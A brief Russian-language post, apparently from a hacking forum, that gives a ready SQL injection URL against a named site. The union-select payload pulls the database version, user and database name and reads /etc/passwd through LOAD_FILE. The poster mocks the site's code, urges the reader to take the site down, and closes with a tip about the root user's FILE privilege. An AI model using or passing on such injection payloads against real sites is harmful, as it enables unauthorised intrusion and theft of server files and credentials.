http://23rus.sytes.net/static.php?str='+and+1=2+union+select+1,2,concat_w s(0x3a,version(),user(),database()),LOAD_FILE('/etc/passwd')+--+

Сноси в общем.

Код писала курица.

p.s. не юзай юзера root. у него FILE_PRIV как минимум включен, и имеет он доступ ко всем базам данных.